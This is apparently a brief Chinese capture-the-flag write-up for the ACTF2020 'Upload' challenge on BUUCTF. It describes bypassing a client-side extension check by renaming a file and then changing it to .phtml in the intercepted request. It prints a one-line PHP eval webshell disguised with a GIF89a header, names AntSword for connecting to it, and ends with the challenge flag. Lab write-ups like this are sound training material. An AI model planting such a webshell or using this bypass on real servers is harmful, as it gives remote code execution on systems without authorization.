BUU-WEB-[ACTF2020 新生赛]Upload

Posted 2021-05-16 TzZzEZ-web

[ACTF2020 新生赛]Upload

文件上传漏洞，上传一句话木马，再尝试用蚁剑或者菜刀连接。
尝试上传一张图片。

找到了上传保存的位置，接下来开始抓包，改后缀。
先把一句话木马的后缀改成jpg格式（目的是为了绕过checkfile()函数），抓包时再修改成phtml格式。
一句话木马为：

GIF89a? 
<script language="php">eval($_REQUEST[shell])</script>

成功上传后可以正常访问到。

然后开始蚁剑连接。

flag{0bceba58-6067-4cbd-8793-77644b417840}